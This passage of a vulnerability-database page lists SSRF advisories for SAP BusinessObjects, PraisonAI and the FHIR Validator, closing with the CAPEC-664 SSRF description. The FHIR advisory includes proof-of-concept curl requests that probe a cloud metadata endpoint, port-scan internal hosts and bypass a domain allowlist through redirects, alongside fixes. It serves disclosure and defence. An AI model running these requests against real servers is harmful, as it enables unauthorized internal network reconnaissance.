      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SSRF \u0026 Credentials Leak "
}

GHSA-3WG2-72JM-537J

Vulnerability from github – Published: 2023-03-14 06:30 – Updated: 2023-03-20 18:30
VLAI
Details

In SAP BusinessObjects Business Intelligence Platform - version 420, 430, an attacker can control a malicious BOE server, forcing the application server to connect to its own CMS, leading to a high impact on availability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-27896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "In SAP BusinessObjects Business Intelligence Platform - version 420, 430, an attacker can control a malicious BOE server, forcing the application server to connect to its own CMS, leading to a high impact on availability.",
  "id": "GHSA-3wg2-72jm-537j",
  "modified": "2023-03-20T18:30:56Z",
  "published": "2023-03-14T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27896"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3287120"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3WRM-PM5V-8VQ8

Vulnerability from github – Published: 2026-07-10 15:31 – Updated: 2026-07-10 15:31
VLAI
Details

PraisonAI before 4.6.78 contains an unauthenticated server-side request forgery vulnerability in the Jobs API /api/v1/runs endpoint. The webhook_url parameter is validated at request time but re-resolved at connection time, allowing attackers to use DNS rebinding to reach internal services with a blind SSRF attack.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-60091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T15:16:49Z",
    "severity": "MODERATE"
  },
  "details": "PraisonAI before 4.6.78 contains an unauthenticated server-side request forgery vulnerability in the Jobs API /api/v1/runs endpoint. The webhook_url parameter is validated at request time but re-resolved at connection time, allowing attackers to use DNS rebinding to reach internal services with a blind SSRF attack.",
  "id": "GHSA-3wrm-pm5v-8vq8",
  "modified": "2026-07-10T15:31:41Z",
  "published": "2026-07-10T15:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4w49-gwv8-fpjg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60091"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-unauthenticated-ssrf-via-webhook-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3WW8-JW56-9F5H

Vulnerability from github – Published: 2026-03-30 17:21 – Updated: 2026-03-31 18:55
VLAI
Summary
FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
Details

Summary

The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.

Details

Root cause chain:

  1. LoadIGHTTPHandler.handle() reads the ig field from user-supplied JSON and passes it directly to IgLoader.loadIg() with no validation:
// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);

  1. loadIg() calls loadIgSource(srcPackage, recursive, true) with explore=true (IgLoader.java:153).

  2. loadIgSource() checks Common.isNetworkPath(src) which only verifies the URL starts with http: or https: — no host/IP validation (Common.java:14-16).

  3. The URL reaches ManagedWebAccess.get() which calls inAllowedPaths(). This check is a no-op by default because allowedDomains is initialized as an empty list, and the code explicitly returns true when empty:

// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
    if (allowedDomains.isEmpty()) {
        return true;  // DEFAULT: all domains allowed
    }
    // ...
}

The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.

  1. SimpleHTTPClient.get() makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against inAllowedPaths():
// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
     HttpURLConnection.HTTP_MOVED_TEMP,
     307, 308:
    String location = connection.getHeaderField("Location");
    url = new URL(originalUrl, location);  // No domain re-validation
    continue;
  1. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):
server = HttpServer.create(new InetSocketAddress(port), 0);
  1. Errors propagate back to the attacker with exception details:
// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
    OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);

Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.

PoC

  1. Start the FHIR Validator in HTTP server mode:
java -jar validator_cli.jar -server -port 8080
  1. Probe a cloud metadata endpoint:
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'

Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).

  1. Port scan an internal host:
# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:8080/"}'

# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:9999/"}'
  1. Redirect bypass (if allowedDomains were configured):
# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://allowed-domain.com/redir"}'

The validator follows the redirect to the internal target without re-checking the domain allowlist.

Impact

An unauthenticated attacker with network access to the FHIR Validator HTTP service can:

  • Probe internal network services — differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)
  • Access cloud metadata endpoints — reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position
  • Map internal network topology — systematically enumerate internal hosts and services
  • Bypass domain restrictions via redirects — even if allowedDomains is configured, redirect following does not re-validate targets
  • Amplify reconnaissance — each /loadIG call with explore=true generates multiple outbound requests (package.tgz, JSON, XML variants)

This is a blind SSRF — the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.

Recommended Fix

  1. Add URL validation in LoadIGHTTPHandler before passing to loadIg() — reject private/internal IP ranges and non-standard ports:
// LoadIGHTTPHandler.java — add before line 43
if (Common.isNetworkPath(ig)) {
    URL url = new URL(ig);
    InetAddress addr = InetAddress.getByName(url.getHost());
    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||
        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
        sendOperationOutcome(exchange, 400,
            OperationOutcomeUtilities.createError("URL targets a private/internal address"),
            getAcceptHeader(exchange));
        return;
    }
}
  1. Re-validate redirect targets in SimpleHTTPClient.get() — check inAllowedPaths() for each redirect URL:
// SimpleHTTPClient.java — inside the redirect case (after line 98)
url = new URL(originalUrl, location);
if (!ManagedWebAccess.inAllowedPaths(url.toString())) {
    throw new IOException("Redirect target '" + url + "' is not in allowed domains");
}

  1. Configure allowedDomains by default to restrict outbound requests to known FHIR registries (e.g., packages.fhir.org, hl7.org), or require explicit opt-in for open access.

  2. Add authentication to the HTTP service, at minimum for state-changing endpoints like /loadIG.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:21:28Z",
    "nvd_published_at": "2026-03-31T17:16:32Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `/loadIG` HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With `explore=true` (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.\n\n## Details\n\n**Root cause chain:**\n\n1. `LoadIGHTTPHandler.handle()` reads the `ig` field from user-supplied JSON and passes it directly to `IgLoader.loadIg()` with no validation:\n\n```java\n// LoadIGHTTPHandler.java:35,43\nString ig = wrapper.asString(\"ig\");\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);\n```\n\n2. `loadIg()` calls `loadIgSource(srcPackage, recursive, true)` with `explore=true` (IgLoader.java:153).\n\n3. `loadIgSource()` checks `Common.isNetworkPath(src)` which only verifies the URL starts with `http:` or `https:` \u2014 no host/IP validation (Common.java:14-16).\n\n4. The URL reaches `ManagedWebAccess.get()` which calls `inAllowedPaths()`. This check is a no-op by default because `allowedDomains` is initialized as an empty list, and the code explicitly returns `true` when empty:\n\n```java\n// ManagedWebAccess.java:104-106\nstatic boolean inAllowedPaths(String pathname) {\n    if (allowedDomains.isEmpty()) {\n        return true;  // DEFAULT: all domains allowed\n    }\n    // ...\n}\n```\n\nThe source code has a `//TODO get this from fhir settings` comment (line 82) confirming this is an incomplete security control.\n\n5. `SimpleHTTPClient.get()` makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against `inAllowedPaths()`:\n\n```java\n// SimpleHTTPClient.java:88-99\ncase HttpURLConnection.HTTP_MOVED_PERM,\n     HttpURLConnection.HTTP_MOVED_TEMP,\n     307, 308:\n    String location = connection.getHeaderField(\"Location\");\n    url = new URL(originalUrl, location);  // No domain re-validation\n    continue;\n```\n\n6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):\n\n```java\nserver = HttpServer.create(new InetSocketAddress(port), 0);\n```\n\n7. Errors propagate back to the attacker with exception details:\n\n```java\n// LoadIGHTTPHandler.java:49\nsendOperationOutcome(exchange, 500,\n    OperationOutcomeUtilities.createError(\"Failed to load IG: \" + e.getMessage()), ...);\n```\n\n**Redirect bypass:** Even if `allowedDomains` were configured, the domain check in `ManagedWebAccessor.setupSimpleHTTPClient()` (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.\n\n## PoC\n\n1. Start the FHIR Validator in HTTP server mode:\n```bash\njava -jar validator_cli.jar -server -port 8080\n```\n\n2. Probe a cloud metadata endpoint:\n```bash\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://169.254.169.254/latest/meta-data/\"}\u0027\n```\n\nExpected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).\n\n3. Port scan an internal host:\n```bash\n# Open port \u2014 returns quickly with a parse error (content received but not valid FHIR)\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://10.0.0.1:8080/\"}\u0027\n\n# Closed port \u2014 returns with \"Connection refused\"\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://10.0.0.1:9999/\"}\u0027\n```\n\n4. Redirect bypass (if allowedDomains were configured):\n```bash\n# Attacker hosts redirect: http://allowed-domain.com/redir \u2192 http://127.0.0.1:8080/admin\ncurl -X POST http://\u003cvalidator-host\u003e:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"http://allowed-domain.com/redir\"}\u0027\n```\n\nThe validator follows the redirect to the internal target without re-checking the domain allowlist.\n\n## Impact\n\nAn unauthenticated attacker with network access to the FHIR Validator HTTP service can:\n\n- **Probe internal network services** \u2014 differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)\n- **Access cloud metadata endpoints** \u2014 reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator\u0027s network position\n- **Map internal network topology** \u2014 systematically enumerate internal hosts and services\n- **Bypass domain restrictions via redirects** \u2014 even if allowedDomains is configured, redirect following does not re-validate targets\n- **Amplify reconnaissance** \u2014 each `/loadIG` call with `explore=true` generates multiple outbound requests (package.tgz, JSON, XML variants)\n\nThis is a blind SSRF \u2014 the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.\n\n## Recommended Fix\n\n1. **Add URL validation** in `LoadIGHTTPHandler` before passing to `loadIg()` \u2014 reject private/internal IP ranges and non-standard ports:\n\n```java\n// LoadIGHTTPHandler.java \u2014 add before line 43\nif (Common.isNetworkPath(ig)) {\n    URL url = new URL(ig);\n    InetAddress addr = InetAddress.getByName(url.getHost());\n    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||\n        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {\n        sendOperationOutcome(exchange, 400,\n            OperationOutcomeUtilities.createError(\"URL targets a private/internal address\"),\n            getAcceptHeader(exchange));\n        return;\n    }\n}\n```\n\n2. **Re-validate redirect targets** in `SimpleHTTPClient.get()` \u2014 check `inAllowedPaths()` for each redirect URL:\n\n```java\n// SimpleHTTPClient.java \u2014 inside the redirect case (after line 98)\nurl = new URL(originalUrl, location);\nif (!ManagedWebAccess.inAllowedPaths(url.toString())) {\n    throw new IOException(\"Redirect target \u0027\" + url + \"\u0027 is not in allowed domains\");\n}\n```\n\n3. **Configure `allowedDomains` by default** to restrict outbound requests to known FHIR registries (e.g., `packages.fhir.org`, `hl7.org`), or require explicit opt-in for open access.\n\n4. **Add authentication** to the HTTP service, at minimum for state-changing endpoints like `/loadIG`.",
  "id": "GHSA-3ww8-jw56-9f5h",
  "modified": "2026-03-31T18:55:39Z",
  "published": "2026-03-30T17:21:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-3ww8-jw56-9f5h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34360"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list